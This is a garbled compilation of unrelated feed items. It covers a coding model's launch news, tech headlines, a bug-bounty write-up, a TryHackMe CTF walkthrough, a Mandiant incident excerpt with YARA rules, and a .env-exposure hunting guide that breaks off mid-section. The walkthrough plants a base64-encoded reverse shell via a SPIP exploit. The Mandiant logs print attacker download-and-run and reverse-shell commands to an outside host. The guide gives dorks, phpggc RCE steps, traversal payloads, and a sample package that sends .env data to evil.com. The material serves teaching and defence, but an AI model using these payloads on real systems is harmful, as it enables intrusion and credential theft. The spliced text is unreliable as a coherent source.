Artificial Analysis independently ranks it eighth of 127 comparable open-weight models on output speed at 210 tokens per second, with a time to first token of 0.25 second against a class median of 1.95 seconds. It places 18th of 127 on the Artificial Analysis Intelligence Index. One flag from the same data: the model generated 75 million output tokens to complete the Intelligence Index against a class median of 25 million. In high-volume agentic pipelines, that verbosity compounds into inference cost and latency.

"Suddenly people are thinking like hey, am I getting enough economic value out of the tokens from a model?" Frosst said during the launch video. "Local deployment is one way of empowering people and making AI really something that works for them."

GitHub Copilot, Cursor and Claude Code operate on per-usage or subscription pricing with no on-premises option. Anthropic's Claude Fable 5, now the most capable publicly available managed coding model, runs at $50 per million output tokens. For Frosst, the model is the polar opposite of Fable.

"Its small, cost effective, apache 2.0, and locally deployable. This is the way LLMs should go. small, open source, transparent and sovereign, vs large, expensive, proprietary and hegemonic," Frosst wrote in a post on X.

What this means for enterprises

For teams building production agentic coding pipelines, North Mini Code's release clarifies a set of decisions that have been forming for months.

Purpose-built agentic training is now a baseline to evaluate against. The distinction between models fine-tuned for code and models trained specifically for agentic workflows, with verified tool calls and multi-harness robustness, is now a material factor in pipeline decisions. Any model vendor claiming agentic coding capability should be able to answer whether its training used verifiable agentic tasks or was adapted from a general-purpose base.

Verbosity is a hidden pipeline cost that benchmarks do not surface. Artificial Analysis measured North Mini Code generating three times the output tokens of comparable models. That verbosity compounds across inference cost and latency in high-volume pipelines. Throughput testing against actual workload volume is the evaluation step the benchmark rankings skip.

The frontier pricing split is now a real architectural decision. Fable 5 at $50 per million output tokens and North Mini Code on a single H100 represent a genuine tradeoff between cost control and data residency on one side, and managed infrastructure overhead on the other. Teams running high-volume agentic coding pipelines should model both cost paths against their actual workload before committing to either.

The post CISA is rethinking how it prioritizes risks and vulnerabilities for feds, private sector appeared first on CyberScoop.

Hello, and welcome to TechScape. I’m your host, Blake Montgomery, the US tech editor at the Guardian. Today we’re discussing Donald Trump’s neediness for AI and the contradictions of Anthropic’s safety-first posture.

OpenAI confidentially files for initial public offering on US stock market

Apple debuts revamped ‘Siri AI’ and new child safety features for iPhones and iPads

The Guardian view on children and the internet: rolling back big tech’s untrammelled power | Editorial

Silicon Valley including Meta has embraced Maga politics, says Nick Clegg

Bernie Sanders’ AI sovereign wealth fund plan is good. But we think this is better | Nathan E Sanders and Bruce Schneier

Majority of US’s new AI datacenters to be built on drought-hit land

Billions spent and hypothetical returns: the AI boom explained with six charts

‘A driver of political violence’: how the breakneck AI boom is fueling anti-tech extremism

Silicon Valley companies including Meta have decided to embrace Maga politics, some for “rather more self-interested” reasons, the former UK deputy prime minister Nick Clegg has said.

Clegg, who spent nearly seven years at Meta as the head of global affairs, told The Rest is Money podcast that it felt like “a very good time for me to move on” when he left the company in March 2025, three months into the second Trump administration.

Introduction.

One of the things I enjoy most about bug bounty hunting is how often seemingly minor findings turn into legitimate security issues. Sometimes you don’t need advanced exploitation techniques, complex chains, or zero-days. A simple directory discovery scan can reveal something that was never intended to be publicly accessible.

In this article, I’ll walk through a finding that started with a routine content discovery exercise and ended with an accepted medium-severity vulnerability report and a bounty reward.

Starting With a Single Subdomain.

During a bug bounty assessment, I was exploring an in-scope subdomain belonging to the target program. Like I usually do when approaching a new asset, I began with basic reconnaissance and content discovery.

There’s a reason experienced hunters spend so much time enumerating and fuzzing endpoints. Organizations often secure the applications everyone knows about, but forgotten directories, legacy services, and abandoned resources frequently slip through the cracks.

For this target, I launched ffuf using a raft-medium-sized wordlist and let it do its thing.

Command used.
ffuf -u https://subdomain.target.com -w raft-medium-directory.txt -mc 200,301,302 -fs 0

At first, the results looked fairly ordinary. Most of the responses were either expected directories or redirections. Then one particular endpoint caught my attention:

/files

The response size looked interesting enough to warrant a closer look.

The Unexpected Discovery.

Naturally, I opened the endpoint in my browser.

Instead of receiving a 403 Forbidden response or being redirected to a login page, I was presented with something entirely different.

A file repository.

The page appeared to be powered by a secure, enterprise-grade remote access and control solution used by IT help desks and customer support teams, and displayed a list of files available for viewing and download. Executables, ZIP archives, configuration files, batch scripts, and other resources were all sitting there in plain sight.

My first thought was simple:

“Should this really be accessible to everyone?”

The more I looked at it, the more unusual it seemed. This wasn’t a public download portal. It looked more like a support-related file store that had somehow ended up exposed to the internet.

And perhaps most importantly, there was no authentication required.

Anyone who discovered the endpoint could access it.

Looking Beyond the Files.

One mistake many researchers make is focusing only on whether they can find passwords, API keys, or other obvious secrets.

While those findings are certainly impactful, information disclosure vulnerabilities often provide value in less direct ways.

Even when files do not contain sensitive credentials, exposed repositories can reveal a surprising amount of information about an organization’s environment.

Installers can reveal software in use.

Configuration files can expose deployment details.

Support resources can provide attackers with intelligence that helps them understand internal workflows.

In some cases, such information can even be leveraged for social engineering attacks.

From a security perspective, the bigger issue was not necessarily the contents of a specific file — it was the fact that a repository intended for a limited audience appeared to be publicly accessible.

Putting Together the Report.

After documenting the endpoint and gathering screenshots, I prepared a report explaining the exposure and its potential impact.

The report focused on the lack of access controls surrounding the file store and the information disclosure risks associated with unrestricted access.

I included:

• The vulnerable endpoint.
• Evidence showing public accessibility.
• Screenshots of the exposed file listing.
• A discussion of the security implications.
• Recommendations for restricting access.

Once everything was documented, I submitted the report and waited.

As every bug bounty hunter knows, that’s often the hardest part.

The Verdict.

A few days later, I received an update from the program.

The report had been reviewed and validated.

The security team agreed that the exposed file repository represented a legitimate security issue, and the finding was ultimately classified as a Medium Severity vulnerability.

Even better, the report qualified for a bounty reward.

Why This Finding Matters

What makes this discovery memorable isn’t its technical complexity.

There was no authentication bypass.

No privilege escalation.

No remote code execution.

No elaborate vulnerability chain.

Instead, the finding serves as a reminder that effective reconnaissance remains one of the most powerful skills in bug bounty hunting.

Many researchers rush toward complex attack techniques while overlooking the basics. Yet time and time again, simple content discovery uncovers forgotten assets that organizations never intended to expose.

Sometimes the difference between finding nothing and finding a valid vulnerability is simply taking the time to investigate an interesting response.

Lessons Learned.

This experience reinforced a few important lessons for me.

First, never underestimate directory fuzzing. Even mature organizations can accidentally expose resources that should remain private.

Second, don’t immediately dismiss information disclosure findings. Not every vulnerability needs to leak credentials to create risk.

Third, when something feels out of place, investigate further. The /files endpoint could have easily been ignored as just another directory discovered during fuzzing.

Instead, it turned out to be the source of a valid bug bounty report.

Final Thoughts.

Bug bounty hunting often rewards persistence more than complexity.

This finding began with a single subdomain, a standard FFUF scan, and a bit of curiosity. What seemed like an ordinary directory discovery eventually became an accepted medium-severity report and a bounty payment.

The next time you’re running content discovery against a target, remember that hidden directories are hidden for a reason. Most will lead nowhere. Some will lead to dead ends.

And every once in a while, one of them will lead to a vulnerability worth reporting.

💬 Before You Go.

This finding is a reminder that effective reconnaissance doesn’t always require advanced techniques. Sometimes, a simple content discovery scan is enough to uncover assets that were never intended to be publicly accessible.

The next time you’re fuzzing a target, don’t rush past an interesting response. Take a closer look, investigate further, and understand the context. Hidden directories often tell stories that the main application doesn’t.

Thanks for reading. If you enjoyed this write-up, feel free to leave some claps👏, follow for more bug bounty stories, reconnaissance techniques, and real-world security findings. See you in the next writeup, peace… 🙏

Sensitive Information Disclosure Through an Exposed File Repository. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Welcome to another TryHackMe challenge Publisher

Step 1 — Nmap Reconnaissance

We begin with an aggressive Nmap scan to identify open ports and running services on the target machine.

The HTTP title reveals SPIP CMS is running — this is a known vulnerable CMS. Version enumeration is the next priority.

Step 2 — Web Enumeration (FFUF)

Navigate to the web server. The homepage shows a SPIP-based Community Magazine. We run directory fuzzing to find hidden paths.

ffuf -u http://10.65.183.106/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt

Step 3 — Version Detection (Whatweb)

We use WhatWeb to fingerprint the exact version of SPIP running on the target.

whatweb http://10.65.183.106/spip

SPIP 4.2.0 is confirmed. This version is vulnerable to CVE -2023–27372 an unauthenticated remote code execution vulnerability via the oubli parameter in the password reset form. this github link contain the exploitaion code with usage.

Step 4 — RCE via CVE-2023–27372

We use a public Python exploit to gain initial remote code execution as www-data.

python CVE-2023-27372.py -u http://10.64.179.228/spip -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzOS4yMTEvNDQ0NCAwPiYx|base64 -d>shell.php'

Confirm code execution by testing the id command via the page parameter:

We have remote code execution as www-data. Next we enumerate the system for privilege escalation paths.

Step 5 — LFI & system enumeration

Using the RCE, we read /etc/passwd to identify users on the system.

User ‘think’ exists with UID 1000 — a regular user with a home directory at /home/think. Likely has SSH access. We check if think has an exposed SSH private key:

Step 6 — SSH Access as think

Read the private key using RCE, save it locally, set permissions, and SSH in:

think user contain the user flag in user.txt

Step 7 — Privilege escaltion Enumeration

Now we hunt for a path to root. We search for SUID binaries:

in this /usr/sbin/run_conatainer is a custom binary which looks like suspicious! . We use strings to reveal what the binary executes internally:

The SUID binary run_container calls /opt/run_container.sh — if we can write to that script, we can execute commands as root.

Step 8 — SUID Escape to Root

Execute run_container to understand its behavior:

cd /opt && run_container
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 4 hours

OPTIONS: 1) Start  2) Stop  3) Restart  4) Create  5) Quit

Escape via Dynamic Linker : We use the dynamic linker/loader to invoke bash bypassing AppArmor restrictions

/lib/x86_64-linux-gnu/ld-linux-x86–64.so.2 /bin/bash

This directly invokes the dynamic linker to load /bin/bash, circumventing AppArmor profile restrictions on the container binary.

Inject Shell into run_container.sh : Append a bash -p (privileged shell) command to the script, then trigger via the SUID binary

echo 'bash -p' >> /opt/run_container.sh
run_container
# Select option 1 (Start Container)

bash-5.0# whoami
root

in /root/root.txt we will find the final flag.

Thank you for reading. If you wnat learn about the fuzzing read this blog

🔍 Discover Hidden Attack Surfaces with FFUF Fuzzing

If this helped you, connect with me:

Twitter/X : https://x.com/cybervolt07

YouTube: https://www.youtube.com/@cybervolt07

Like • Share • Subscribe for more CTF walkthroughs!

SPIP RCE + Docker SUID Escape | THM Publisher was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Written by: Michael Raggi, Adam Aprahamian, Dan Kelly, Mathew Potaczek, Marcin Siedlarz, Austin Larsen

Oct 28 01:52:32 localhost.localdomain notice tmsh[30629]: 
01420002:5: AUDIT - pid=30629 user=root folder=/Common 
module=(tmos)# status=[Command OK] cmd_data=create 
auth user f5support3 password **** shell bash partition-access 
add { all-partitions { role admin } }

Oct 28 01:53:29 localhost.localdomain notice icrd_child[18778]: 
01420002:5: AUDIT - pid=18778 user=f5support3 folder=/Common 
module=(tmos)# status=[Command OK] cmd_data=run util bash -c id

[I][8602][27 Oct 2023 14:53:29 UTC][ForwarderPassThroughWorker] 
{"user":"local/f5support3","method":"POST","uri":"http://localhost:8100
/mgmt/tm/util/bash","status":200,"from":"154.12.177[.]8"}

[I][8603][27 Oct 2023 14:53:36 UTC][ForwarderPassThroughWorker] 
{"user":"local/f5support3","method":"PATCH","uri":"http://localhost:8100
/mgmt/shared/authz/users/f5support3","status":200,"from":"154.12.177[.]8"}

Nov  2 07:29:47 localhost.localdomain notice icrd_child[17602]: 
01420002:5: AUDIT - pid=17602 user=admin folder=/Common 
module=(tmos)# status=[Command OK] cmd_data=run util bash 
-c "rm -rf /tmp/watchsys;killall -9 watchsys;curl -o /tmp/watchsys 
http://172.104.124[.]74/LG;chmod 755 /tmp/watchsys;nohup 
/tmp/watchsys &;ls -al /tmp/"

Nov  2 07:16:15 localhost.localdomain notice icrd_child[18778]: 
01420002:5: AUDIT - pid=18778 user=admin folder=
/Common module=(tmos)# status=[Command OK] cmd_data=run util 
bash -c "bash -i /dev/tcp/172.104.124[.]74/443 0>&1 &"|

Nov  2 07:30:37 localhost.localdomain notice icrd_child[18778]: 
01420002:5: AUDIT - pid=18778 user=admin folder=/Common 
module=(tmos)# status=[Command OK] cmd_data=run util bash 
-c "nc 172.104.124[.]74 443 -e /bin/bash &"

curl -o /tmp/ss hxxp://172.104.124[.]74/App-amd64linux-noupx

curl -o /tmp/ss hxxps://github[.]com/1n7erface/Template/releases
/download/v1.2.5/App-amd64linux-noupx

./ss -i <Internal CIDR block>

cmd_data=run util bash -c "echo 
dG1zaCAtcSAtYyAnY2QgLztzaG93IHJ1bm5pbmctY29uZmlnIHJlY3Vyc2l2ZSc= 
| base64 -d | sh"  "tmsh -q -c 'cd /;show running-config recursive'"
run util bash -c "bash -i /dev/tcp/172.104.124.74/443 0>&1 &"

rule M_Backdoor_GOREVERSE_2
{
        meta:
                author = "Mandiant"
                description = "This rule is designed to detect events related 
to goreverse. GOREVERSE is a publicly available reverse shell"
                md5 = "5c175ea3664279d6c0c2609844de6949"
                platforms = "Windows,Linux,MacOS"
                malware_family = "GOREVERSE"
        strings:
                $cc_main_fork_amd64 = { 41 81 39 74 72 75 65 75 ?? 48 8B 
[5] 48 8B [5] 48 8B [5] 4C 8B [5] 48 8B [5] 48 8B [5-10] E8 [4] 48 8B }
                $cc_print_help_amd64 = { 48 8D 15 [4] 48 89 94 24 [4-16] 48 
8B 1D [4] 48 8D 05 [4-24] BF 03 00 00 00 48 89 FE [0-12] E8 }
                $cc_rssh = "rssh" fullword
                $cc_validate_dest_len = { 48 83 3D [4] 00 [1-24] 49 83 FC 01 
[1-24] 49 C1 E4 05 [1-64] 83 3D [4] 00 }
                $str1 = "--[foreground|fingerprint|proxy|process_name] 
-d|--destination <server_address>"
                $str2 = "-d or --destination Server connect back address 
(can be baked in)"
                $str3 = "--foreground Causes the client to run without 
forking to background"
                $str4 = "--fingerprint Server public key SHA256 hex 
fingerprint for auth"
                $str5 = "--proxy Location of HTTP connect proxy to use"
                $str6 = "--process_name Process name shown in 
tasklist/process list"
        condition:
                ( ((uint32(0) == 0xcafebabe) or (uint32(0) == 0xfeedface) 
or (uint32(0) == 0xfeedfacf) or (uint32(0) == 0xbebafeca) or (uint32(0) 
== 0xcefaedfe) or (uint32(0) == 0xcffaedfe)) or (uint16(0) == 0x5a4d 
and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) 
and (all of ($str*) or all of ($cc_*))
}

rule M_APT_Downloader_SNOWLIGHT_1 
{
        meta:
                author = "Mandiant"
                description = "This rule is designed to detect 
the SNOWLIGHT code family"
                md5 = "0951109dd1be0d84a33d52c135ba9c97"
                platforms = "Linux"
                malware_family = "SNOWLIGHT"
        strings:
                $xor99 = { 80 31 99 48 FF C1 89 CE 29 EE 39 C6 
7C F2 48 63 D2 48 89 EE 44 89 E7 }
                $memfdcreate = { BA 01 00 00 00 BE 3B 0B 40 
00 BF 3F 01 00 00 E8 8C FE FF FF }	
        condition:
                uint32(0) == 0x464c457f and all of them
}

Written by: Gabby Roncone, Dan Black, John Wolfram, Tyler McLellan, Nick Simonian, Ryan Hall, Anton Prokopenkov, Luke Jenkins, Dan Perez, Lexie Aytes, Alden Wahlstrom

For bug bounty hunters, .env exposure remains one of the highest-impact, lowest-effort findings. The methodology is straightforward: subdomain enumeration, content discovery, GitHub dorking, and source map analysis. The payoff can be complete database access, cloud account takeover, or Remote Code Execution.

For developers and security teams, the solution requires a cultural shift: treat .env files as explosive devices, move secrets out of configuration files entirely, use short-lived credentials, block hidden files at the server level, and scan everything -- including AI-generated code -- before it reaches production.

Part I: The .env File Crisis — Why 12 Million Exposed Files Should Terrify You

The Anatomy of a .env File

The .env file is the silent backbone of modern web application configuration. It stores environment variables in a simple KEY=VALUE format and is consumed by frameworks like Laravel, Django, Ruby on Rails, Symfony, and countless Node.js applications at startup. The problem is not the concept -- it is how these files are handled, deployed, and (mis)protected.

A typical .env file might contain:

DB_HOST=production-db.internal.corp.com
DB_DATABASE=main_production
DB_USERNAME=root
DB_PASSWORD=Str0ng!Passw0rd
APP_KEY=base64:abcdef1234567890abcdef1234567890
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
STRIPE_SECRET=sk_live_4eC39HqLyjWDarjtT1zdp7dc
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=secret
MAIL_USERNAME=admin@corp.com
MAIL_PASSWORD=smtp_password_here

One file. One misconfiguration. Total compromise.

The 2024 Unit 42 Campaign: Scale of the Problem

In August 2024, Palo Alto Networks’ Unit 42 uncovered a massive cloud extortion campaign that directly exploited exposed .env files. The numbers are staggering:

• 110,000 domains scanned for exposed .env files
• 90,000+ unique leaked environment variables harvested
• 7,000+ cloud service credentials (AWS, Azure, GCP, DigitalOcean)
• 1,500+ social media account credentials
• 1,185 unique AWS access keys
• 333 PayPal OAuth tokens
• 235 GitHub tokens
• 111 HubSpot API keys
• 39 Slack webhooks

The attack chain was elegant and terrifying:

Scan — Automated internet-wide scanning using malicious AWS Lambda functions, iterating over millions of domains with curl requests to http://<target>/.env

Harvest — Extract all environment variables from accessible .env files

Escalate — Use exposed IAM access keys to create new IAM roles with administrative permissions

Propagate — Deploy new Lambda functions to continue scanning from within the victim’s own cloud infrastructure

Exfiltrate — Steal data from S3 buckets and other cloud storage

Extort — Leave ransom notes threatening to sell the data on the dark web

Source: Unit 42 — Large-Scale Cloud Extortion Operation

The 2026 Security Affairs Study: 12 Million Files

Fast forward to February 2026: Security Affairs reported that researchers had identified over 12 million exposed .env files across the internet. The primary exposure vectors:

1. Web server misconfiguration — No rule blocking hidden files (files starting with a dot). Simply visiting https://example.com/.env returns the entire file.
2. Reverse proxies forwarding sensitive paths — Nginx or Apache misconfigured to serve static files from the project root.
3. Container images embedding secrets — Dockerfiles using COPY . . which includes .env in the image layers.
4. Forgotten backup files — .env.bak, .env.old, .env.save, env.txt left in web-accessible directories.
5. Git repository exposure — The .env file committed to source control, then the repo made public or accessed via exposed .git directories.

Part II: Real-World Bug Hunting with .env Files

Case Study 1: Azure Subdomain .env Disclosure

Source: Infosec Writeups / Bug Bounty Program

A bug bounty hunter was conducting reconnaissance on a target and discovered a subdomain that appeared to be running Laravel. Using ffuf for content discovery, they ran a wordlist against the subdomain:

ffuf -u https://target-subdomain.azurewebsites.net/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

The scan returned a 200 OK for /.env -- but accessing it directly returned a 403 Forbidden. The hunter noticed something critical: the CNAME record pointed to *.azurewebsites.com, and while the main domain had restrictions, the underlying Azure-hosted subdomain did not.

By accessing the raw Azure endpoint URL, the .env file was fully readable, revealing:

DB_CONNECTION=mysql
DB_HOST=internal-db.mysql.database.azure.com
DB_PORT=3306
DB_DATABASE=production_db
DB_USERNAME=admin
DB_PASSWORD=P@ssw0rd!
MAIL_HOST=smtp.sendgrid.net
MAIL_USERNAME=apikey
MAIL_PASSWORD=SG.xxxxxxxxxxxxxxxx

Impact: Database credentials + SMTP API key for SendGrid. With these, the hunter could have dumped the entire production database and sent phishing emails as the legitimate domain.

Case Study 2: Laravel APP_KEY to RCE Chain

Source: Multiple researchers (Mogwai Labs, Ghostable, Stratosally)

This is one of the most dangerous exploitation chains in the Laravel ecosystem. The .env file contains APP_KEY, which is the cryptographic backbone of the entire Laravel application. It is used for encrypting cookies, session data, and serialized objects.

The vulnerability: Laravel’s Crypt::decrypt() function uses PHP's unserialize() under the hood. If an attacker has the APP_KEY, they can craft a malicious encrypted payload that, when decrypted, triggers PHP object injection leading to Remote Code Execution.

The exploitation chain:

1. Discover the APP_KEY — Find it in an exposed .env file, or via GitHub dorking (filename:.env APP_KEY).
2. Use phpggc — The PHP Generic Gadget Chains tool (phpggc) generates gadget chains for Laravel.

# Clone phpggc
git clone https://github.com/ambionics/phpggc
cd phpggc

# Generate a Laravel RCE gadget chain
php phpggc Laravel/RCE1 system 'id' --base64

3. Encrypt with the APP_KEY — The attacker encrypts the malicious payload using the stolen APP_KEY:

# Pseudocode for encrypting with the leaked APP_KEY
$payload = base64_decode('<phpggc_output>');
$key = base64_decode(substr('base64:abcdef1234567890abcdef1234567890', 7));
$iv = random_bytes(16);
$encrypted = openssl_encrypt($payload, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
$final = base64_encode($iv . $encrypted);

4. Deliver the payload — Send the encrypted value as a Laravel session cookie or any other decrypted input.

5. RCE — Laravel decrypts the payload, PHP unserializes it, and the attacker’s command executes.

Real-world impact: In 2025, researchers found hundreds of Laravel APP_KEY values leaked on GitHub. Tools like phpggc make weaponization trivial. The attacker does not need SQL injection or file upload -- just one exposed .env file.

Case Study 3: GitHub Dorking for .env Files at Scale

Source: Multiple bug bounty hunters

Advanced GitHub dorking is one of the most productive techniques for finding exposed .env files. The key operators:

# Find all .env files across all public repositories
filename:.env

# Find .env files in a specific organization
org:targetcompany filename:.env

# Find .env files containing specific sensitive keys
filename:.env "AWS_ACCESS_KEY_ID"
filename:.env "DB_PASSWORD"
filename:.env "STRIPE_SECRET"
filename:.env "APP_KEY"

# Find .env files mentioning a specific domain
"target.com" filename:.env

# Combined: target company .env with API keys
org:targetcompany filename:.env ("API_KEY" OR "SECRET" OR "PASSWORD")

# Search for config files broadly
filename:.env "production" AND ("sk_live" OR "AKIA" OR "service_role")

Pro tip from hunters: Combine with extension: and path: operators:

# Search specific paths
path:config filename:.env
path:laravel filename:.env

# Search for backup variants
filename:.env.bak
filename:.env.old
filename:.env.local
filename:.env.production

The Snyk 2025 State of Secrets Report revealed that 28 million credentials were leaked on GitHub in 2025 alone, with .env files being one of the top sources.

Case Study 4: Exposed Source Maps Leading to Stripe Secret Keys

Source: Sentry Security Blog / Prodefense.io

A bug bounty hunter discovered that a target website had accidentally deployed JavaScript source maps to production. Source maps (.map files) are used during development to map minified JavaScript back to original source code for debugging.

The attacker used Sourcemapper (a tool that reconstructs original source from .map files):

# Install sourcemapper
pip install sourcemapper

# Download and reconstruct source from an exposed source map
sourcemapper -url https://target.com/assets/js/app.js.map -output ./reconstructed/

Inside the reconstructed source code, the hunter found:

// Original source code exposed
const stripe = require('stripe');
const stripeClient = new stripe('sk_live_4eC39HqLyjWDarjtT1zdp7dc');

// Internal API endpoints
const adminApi = 'https://internal-admin.target.com/api/v2/';
const deleteUserEndpoint = `${adminApi}users/delete/`;

Impact: The Stripe live secret key (starting with sk_live_) allowed the attacker to make unauthorized charges, refunds, and access all customer payment data. The exposed admin API endpoints opened the door for further exploitation.

Case Study 5: Exposed .git Directory — Full Source Code in Version Control History

Source: PortSwigger Web Security Academy / NCSC Switzerland

A production server had its .git directory publicly accessible. The .git folder contains the complete version control history of the project, including every file that was ever committed -- even files that were later deleted or whose secrets were "removed" in subsequent commits.

# Recursively download the entire .git directory from the live server
wget -r https://target.com/.git/

# Check the Git log for secrets that were "removed"
git log -p | grep -E 'password|secret|key|token|AKIA'

The NCSC Switzerland audit found 1,300 affected systems in Switzerland alone where .git folders were publicly accessible, exposing source code, access data, and passwords.

Real bug bounty example: A hunter found that a target’s .git directory was browsable. Running git log --diff revealed a commit message: "Remove admin password from config". The diff showed the previous version of the config file with the hardcoded admin password still in Git history:

git show <commit_hash>
# Output:
# - ADMIN_PASSWORD=SuperSecretPass123!
# + ADMIN_PASSWORD=${ADMIN_PASSWORD_ENV}

The password was removed from the current file but remained forever in Git history. The hunter logged in as administrator and completely took over the application.

Part III: Advanced Reconnaissance & Hunting Methodology

Phase 1: Subdomain Enumeration

Before you can find exposed files, you need to know where to look.

# Passive enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass.txt
assetfinder --subs-only target.com >> subdomains.txt

# Active enumeration
ffuf -u https://FUZZ.target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Certificate Transparency
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Combine and deduplicate
cat subdomains.txt | sort -u | httpx -silent -o live_hosts.txt

Phase 2: Content Discovery for .env Files

# Using ffuf for .env file discovery
ffuf -u https://target.com/FUZZ \
  -w wordlist.txt \
  -fc 403,404 \
  -t 100

# .env-specific wordlist
echo ".env
.env.bak
.env.old
.env.save
.env.local
.env.production
.env.development
env.txt
env
.env.example" > env_wordlist.txt

# Recursive discovery with feroxbuster
feroxbuster -u https://target.com \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -x env,txt,bak,old,swp,save,conf,config \
  --depth 3 \
  --silent

Phase 3: Advanced GitHub Dorking

# Automated GitHub dorking with gitdorker
gitdorker -q target.com -tf ./tf/ -d ./Dorks/Alldorks.ndjson -o output

# Manual targeted dorks
site:github.com target.com filename:.env
site:github.com target.com "DB_PASSWORD"
site:github.com target.com "sk_live_" "Stripe"
site:github.com target.com "AKIA" "AWS"
site:github.com "target" filename:".env" "APP_KEY"

Phase 4: Source Map Enumeration

# Check for source maps on live targets
cat live_hosts.txt | while read url; do
  # Try common source map locations
  curl -s -o /dev/null -w "%{http_code}" "$url/assets/js/app.js.map"
  curl -s -o /dev/null -w "%{http_code}" "$url/static/js/main.js.map"
  curl -s -o /dev/null -w "%{http_code}" "$url/build/static/js/main.js.map"
done

# Reconstruct and grep for secrets
sourcemapper -url https://target.com/js/app.js.map -output ./recon/
grep -rni "sk_live\|AKIA\|password\|secret\|token" ./recon/

Phase 5: Directory Traversal Testing

Sometimes .env files are not at the root but accessible through path traversal:

# Path traversal payloads
ffuf -u https://target.com/page.php?file=FUZZ \
  -w traversal_wordlist.txt

# Common traversal wordlist entries
../../../.env
..%252f..%252f..%252f.env
....//....//....//.env
..\;../..\;../.env
/static/../../../.env

Part IV: The Expanded Attack Surface Beyond .env

Source Maps

Source maps (.map files) are JavaScript's hidden tell-all. They reconstruct minified code back to the original source, complete with comments, function names, and file structure.

What source maps can reveal:

• Original source code and business logic
• Developer comments (TODOs, FIXMEs, known bugs)
• Internal API endpoints and admin panels
• Hardcoded credentials
• Third-party integration details
• Environment variable expectations

# Check for common source map locations
curl -si https://target.com/static/js/main.abc123.js.map
curl -si https://target.com/assets/js/app.js.map
curl -si https://target.com/build/js/bundle.js.map

# Parse source maps for secrets (Node.js)
npm install -g source-map-cli
curl -s https://target.com/js/app.js.map | source-map --raw | grep -E 'key|token|secret|password'

Exposed .git Directories

The .git directory is perhaps the most dangerous exposure because it contains the entire history of the project.

Tools for .git exploitation:

# git-dumper - downloads entire .git repo
git-dumper https://target.com/.git/ ./downloaded_repo/

# GitTools - extract from exposed .git
git clone https://github.com/internetwache/GitTools
cd GitTools/Dumper
./gitdumper.sh https://target.com/.git/ ./repo/
cd GitTools/Extractor
./extractor.sh ./repo/ ./extracted/

# Search entire Git history for secrets
cd extracted
git log --all -p | grep -E '(password|secret|key|token|AKIA|sk_live)'
git log --all --diff-filter=D --summary | grep delete  # Find deleted files

Backup Files

Developers frequently create backup files during maintenance:

# Common backup file extensions
.bak, .old, .orig, .copy, .tmp, .swp, .swo, .save, ~ (tilde)

# Fuzzing for backup files
ffuf -u https://target.com/FUZZ \
  -w backup_wordlist.txt

# Example wordlist entries
config.php.bak
.env.bak
database.php.old
wp-config.php~
index.php.swp
.env.save

Configuration Files

Beyond .env, other config files often contain secrets:

# Common config files to hunt
config.json
config.php
config.js
settings.py
application.properties
application.yml
database.yml
credentials.json
service-account.json
wp-config.php

Part V: The Supply Chain Angle — Malicious Dependencies

Malicious packages actively hunt for .env files during installation. Since npm install (and pip install, gem install, etc.) can execute arbitrary code, a compromised dependency can:

// Malicious package.js (hypothetical but based on real incidents)
const fs = require('fs');
const https = require('https');

// Read .env file
const envContent = fs.readFileSync('.env', 'utf8');

// Exfiltrate to attacker server
https.get(`https://evil.com/exfil?data=${Buffer.from(envContent).toString('base64')}`);

Real incidents:

• Shai-Hulud NPM worm — Designed to hunt and exfiltrate NPM and GitHub tokens at scale
• @ctrl/tinycolor compromise (2.2M weekly downloads) — Attackers weaponized TruffleHog itself as a payload to find and exfiltrate secrets
• node-ipc supply chain attack — Malicious versions published to target specific developers
• Cursor AI editor incident (2024) — .env file contents were being sent to servers for tab completion, even when files were listed in .cursorignore

Part VI: Defense in Depth — How to Protect Against .env Exposure

Immediate Remediation

1. Block hidden files at the server level

# Apache
<FilesMatch "^\.">
    Require all denied
</FilesMatch>

# Nginx
location ~ /\.(?!well-known) {
    deny all;
    return 404;
}

// IIS
<system.webServer>
    <security>
        <requestFiltering>
            <hiddenSegments>
                <add segment=".env" />
            </hiddenSegments>
        </requestFiltering>
    </security>
</system.webServer>

2. Remove .env from web-accessible directories -- Move it outside the document root.

3. Implement CSP headers to restrict where scripts can load from.

4. Disable source maps in production builds:

// webpack.config.js
module.exports = {
  // ...
  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',
};

// vite.config.js
export default defineConfig({
  build: {
    sourcemap: process.env.NODE_ENV !== 'production',
  },
});

// next.config.js
module.exports = {
  productionBrowserSourceMaps: false,
};

Prevention

1. Use a secrets manager — HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager
2. Implement .gitignore correctly and audit with git-secrets or trufflehog
3. Use pre-commit hooks to scan for secrets:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/awslabs/git-secrets
    rev: master
    hooks:
      - id: git-secrets

4. Rotate secrets regularly — If a .env file might have been exposed, rotate every credential in it immediately.

5. Scanner automation — Integrate secret scanning into CI/CD pipelines:

# TruffleHog scan in CI
trufflehog filesystem --directory=. --json | jq '.'

6. Use ephemeral credentials — Short-lived tokens (IAM roles, OAuth2 token exchange) instead of long-lived API keys.

Detection

1. Monitor for /.env requests in access logs
2. Use automated scanners like shhgit, trufflehog, git-secrets
3. Deploy canary tokens — Fake credentials placed in .env files that alert when used

Part VII: The 2026 Vibe Coding Problem

The rise of AI-assisted development — “vibe coding” — has introduced a new dimension to the .env crisis. Research from 2026 shows that AI-generated code frequently makes mistakes that expose secrets:

